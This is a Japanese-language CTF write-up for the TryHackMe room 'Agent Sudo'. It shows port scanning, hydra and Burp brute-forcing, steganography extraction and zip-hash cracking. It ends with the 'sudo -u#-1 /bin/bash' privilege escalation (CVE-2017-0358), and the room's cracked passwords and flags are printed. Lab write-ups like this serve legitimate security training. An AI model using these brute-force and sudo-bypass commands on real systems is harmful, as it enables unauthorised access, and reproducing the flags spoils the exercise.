1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Writeup | TryHackMe - Agent Sudo

Posted at

概要

Room page:

userフラグとrootフラグの入手の他にも誘導用の問題があるので、それに沿って解説していきます。

今回のIPアドレスは以下の通り。

ターゲット: 10.10.111.208
ローカル(VPN): 10.9.1.210

Task2 - Enumerate

Q1. How many open ports?

nmapでポートスキャンを実行します。

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ nmap -Pn -T4 -sV -A -oN nmap-1.txt 10.10.111.208
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
|   256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_  256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Annoucement
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=1/21%OT=21%CT=1%CU=30532%PV=Y%DS=2%DC=T%G=Y%TM=678F83D
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=A)SEQ
OS:(SP=105%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%
OS:II=I%TS=A)SEQ(SP=107%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=A)SEQ(SP=108%GCD=1%
OS:ISR=10E%TI=Z%CI=I%II=I%TS=A)OPS(O1=M508ST11NW6%O2=M508ST11NW6%O3=M508NNT
OS:11NW6%O4=M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=6
OS:8DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW6%CC=Y%Q
OS:=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%
OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=
OS:)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RU
OS:CK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

以下の3ポートについて情報が得られました。

Port Service Version
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 7.6p1
80 http Apache httpd 2.4.29

A. 3

Q2. How you redirect yourself to a secret page?

http://10.10.111.208にアクセスしてみます。
web-home.png
user-agentパラメータを変更しないといけないようです。

A. user-agent

Q3. What is the agent name?

Burp Suiteで解析してみます。
Proxy -> HTTP historyでGETリクエストを探し、Intruderに送ります。

User-AgentパラメータにPositionsを設定します。
burp-intruder.png
こんな感じです。

Payloadsを設定していきましょう。今回はAgent Rからエージェント名は大文字のアルファベット1文字という規則性があると仮定します。
burp-intruder-payloads.png
画像のように、Payload countRequest countの両方とも26になっていれば大丈夫です。それ以外だったらどこかで入力ミスしているので修正してください。
あとはStart attackで開始します。

さて、ステータスコードに注目するとCだけ302が返されていますね。リダイレクトしている証拠です。
試しにアクセスしてみましょう。Interceptを一時的にオンにしておき、/のGETリクエストをUser-Agent: Cとしてからオフにします。
web-C.png
/agent_C_attention.phpにリダイレクトされました。Cに対する警告文でしょうか。この文を読み取ると、Cとchrisが同一であること、またJの存在が明らかになりました。

A. chris

Task3 - Hash cracking and brute-force

Q1. FTP password

注目すべきはそこだけではありません。最後にchange your god damn password, is weak!とあります。
そう、chrisのパスワードが脆弱であることもほのめかされているのです。

辞書攻撃が有用ですね。まずはFTPのパスワードからいきましょう。

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.10.111.208 ftp -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-21 21:32:57
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ftp://10.10.111.208:21/
[21][ftp] host: 10.10.111.208   login: chris   password: crystal

パスワードはcrystalのようです。早速ログインしていきます。

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ ftp 10.10.111.208                                                                                                             
Connected to 10.10.111.208.
220 (vsFTPd 3.0.3)
Name (10.10.111.208:kali): <chrisと入力>
331 Please specify the password.
Password: <chrisのパスワード(crystal)を入力>
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

A. crystal

Q3-Q5

(Q2. Zip file passwordですが、Q3-Q5は自力で見つけたので先に紹介します。)

何か気になるファイルがないか調べてみます。

ftp> ls
229 Entering Extended Passive Mode (|||57674|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.

先ほどの警告文に関連してそうなテキストがあるので、getで落とします。
(ついでに画像ファイルも落としておきましょう。後で役に立つかもしれません。)

落とせたらFTPを終了し、中身を確認してみます。

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ cat To_agentJ.txt 
Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

From,
Agent C

やっぱり先ほどの画像のどちらかに何か隠されているようです。
ステガノグラフィと仮定し、steghideで探ってみます。

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ steghide extract -sf cute-alien.jpg 
Enter passphrase: <そのままEnter>
steghide: could not extract any data with that passphrase!

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ steghide extract -sf cutie.png 
Enter passphrase: <そのままEnter>
steghide: the file format of the file "cutie.png" is not supported.

そもそも.pngに対応していませんでしたね()
まあいいです。とりあえず空のパスワードではだめだということがわかりました。
Aperi'Solveを使ってパスワードを予測してみましょう。
aperisolve-cute-alien.png
aperisolve-cutie.png
Area51が共通しているので、可能性はありそうです。

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ steghide extract -sf cute-alien.jpg
Enter passphrase: <Area51と入力>
wrote extracted data to "message.txt".

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ cat message.txt  
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris

Jの本名(james)とSSHのパスワードが見つかりました!

Q3. steg password
A3. Area51

Q4. Who is the other agent (in full name)?
A4. james

Q5. SSH password
A5. hackerrules!

Q2. Zip file password

(この問題は一部あめ様のWriteupを参考にさせていただいています。)

どうやらもう片方のcutie.pngですが、zipファイルが隠されていたようです。

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ binwalk -e cutie.png           

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
869           0x365           Zlib compressed data, best compression

WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt

WARNING: One or more files failed to extract: either no utility was found or it's unimplemented

binwalkによってディレクトリが生成されていたので、確認します。

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ ls
To_agentJ.txt         aperisolve-cute-alien.png  burp-intruder-payloads.png  cute-alien.jpg  gobuster-1.txt  nmap-1.txt  web-home.png
_cutie.png.extracted  aperisolve-cutie.png       burp-intruder.png           cutie.png       message.txt     web-C.png

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ cd _cutie.png.extracted 

┌──(kali㉿kali)-[~/thm/Agent-Sudo/_cutie.png.extracted]
└─$ ls -l
合計 316
-rw-rw-r-- 1 kali kali 279312  1月 21 22:10 365
-rw-rw-r-- 1 kali kali  33973  1月 21 22:10 365.zlib
-rw-rw-r-- 1 kali kali    280  1月 21 22:10 8702.zip

8702.zipが先ほどのzipファイルのようです。展開してみましょう。

┌──(kali㉿kali)-[~/thm/Agent-Sudo/_cutie.png.extracted]
└─$ 7z x 8702.zip

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=ja_JP.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 280 bytes (1 KiB)

Extracting archive: 8702.zip
--
Path = 8702.zip
Type = zip
Physical Size = 280

    
Enter password (will not be echoed):

パスワードを求められてしまいました。
脆弱なパスワードならまだ解析できそうですが...一か八か当たることを祈ってやってみましょう。

┌──(kali㉿kali)-[~/thm/Agent-Sudo/_cutie.png.extracted]
└─$ zip2john 8702.zip > 8702.zip.hash

┌──(kali㉿kali)-[~/thm/Agent-Sudo/_cutie.png.extracted]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt 8702.zip.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 512/512 AVX512BW 16x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alien            (8702.zip/To_agentR.txt)     
1g 0:00:00:00 DONE (2025-01-21 22:20) 5.882g/s 192752p/s 192752c/s 192752C/s christal..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワードがalienだということがわかりました!

A. alien

※本来はこのzipファイルの中にあるTo_agentR.txtを取りだし、そこからステガノグラフィのパスワードを入手するというルートで進めていくのですが、今回はそれを無視していってしまいました()

┌──(kali㉿kali)-[~/thm/Agent-Sudo/_cutie.png.extracted]
└─$ 7z x 8702.zip                    

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=ja_JP.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 280 bytes (1 KiB)

Extracting archive: 8702.zip
--
Path = 8702.zip
Type = zip
Physical Size = 280

    
Would you like to replace the existing file:
  Path:     ./To_agentR.txt
  Size:     0 bytes
  Modified: 2019-10-29 21:29:11
with the file from archive:
  Path:     To_agentR.txt
  Size:     86 bytes (1 KiB)
  Modified: 2019-10-29 21:29:11
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? <出てきた場合はYと入力>

                    
Enter password (will not be echoed): <aliesと入力>
Everything is Ok

Size:       86
Compressed: 280

┌──(kali㉿kali)-[~/thm/Agent-Sudo/_cutie.png.extracted]
└─$ ls
365  365.zlib  8702.zip  8702.zip.hash  To_agentR.txt

┌──(kali㉿kali)-[~/thm/Agent-Sudo/_cutie.png.extracted]
└─$ cat To_agentR.txt      
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R

┌──(kali㉿kali)-[~/thm/Agent-Sudo/_cutie.png.extracted]
└─$ echo "QXJlYTUx" | base64 -d                                                                                         
Area51

Task4 - Capture the user flag

Q1. What is the user flag? (User flag)

Task3_Q5で入手したSSHのユーザー名とパスワードでSSHにログインしていきます。

┌──(kali㉿kali)-[~/thm/Agent-Sudo/_cutie.png.extracted]
└─$ ssh james@10.10.111.208          
The authenticity of host '10.10.111.208 (10.10.111.208)' can't be established.
ED25519 key fingerprint is SHA256:rt6rNpPo1pGMkl4PRRE7NaQKAHV+UNkS9BfrCy8jVCA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? <yesと入力>
Warning: Permanently added '10.10.111.208' (ED25519) to the list of known hosts.
james@10.10.111.208's password: <jamesのパスワード(hackerrules!)を入力>

james@agent-sudo:~$

怪しいファイル(User flag)がないか調べます。

james@agent-sudo:~$ ls
Alien_autospy.jpg  user_flag.txt
james@agent-sudo:~$ cat user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7

User flagが入手できました。

A. b03d975e8c92a7c04146cfa7a5a313c7

Q2. What is the incident of the photo called?

lsで、フラグのほかにある画像がありました。ローカルに落として調べてみましょう。

┌──(kali㉿kali)-[~/thm/Agent-Sudo]
└─$ scp james@10.10.111.208:Alien_autospy.jpg ./
james@10.10.111.208's password: <jamesのパスワード(hackerrules!)を入力>
Alien_autospy.jpg                                        100%   41KB  41.2KB/s   00:01

この画像を見てみると、エイリアンの解剖らしき様子が映っています(オカルト(´・ω・`))。

autopsy(解剖)という単語と一緒に画像検索にかけてみると、「Roswell Alien Autopsy」というフィルムの名前が出てきました。
(google-autopsy-mosaiced)
※オカルトが苦手な方向けにモザイク加工を施しています。興味のある方はご自分で調べてください。

A. Roswell alien autopsy

このプルダウンはこの問題についての余談です。見なくても進行には問題ありません。また、オカルト系の話が出てくるので苦手な方は見ずにそのまま進んでください。

※この事件、一般的には「ロズウェル事件」や「ロズウェルUFO事件」と呼ばれており、墜落したUFOが米軍によって回収されたとして世界的に有名なUFO事件となっています。怖すぎ...(´・ω・`)
日本語版Wikiはこちら
英語版Wikiはこちら

Task5 - Privilege escalation

Q1. CVE number for the escalation

とりあえずsudo権限の確認でもしてみましょうか。

james@agent-sudo:~$ sudo -l
[sudo] password for james: <jamesのパスワード(hackerrules!)を入力>
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

(ALL, !root) /bin/bash exploitで検索をかけてみると、CVE番号を入手できました。

A. CVE-2017-0358

Q2. What is the root flag? (Root flag)

先ほどのexploitをそのまま実行します。

james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# id
uid=0(root) gid=1000(james) groups=1000(james)

root権限を取得できました。あとはRoot flagを探すだけです。

root@agent-sudo:~# cd /root
root@agent-sudo:/root# ls
root.txt
root@agent-sudo:/root# cat root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 

Your flag is 
b53a02f55b57d4439e3341834d70c062

By,
DesKel a.k.a Agent R

完璧です。ここまでお疲れさまでした。

A. b53a02f55b57d4439e3341834d70c062

Q3. (Bonus) Who is Agent R?

フラグと一緒に差出人も書かれていましたね。By, DesKel a.k.a Agent R、つまりAgent Rはこのルームの作成者であるDesKel様だということです。

A. DesKel

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?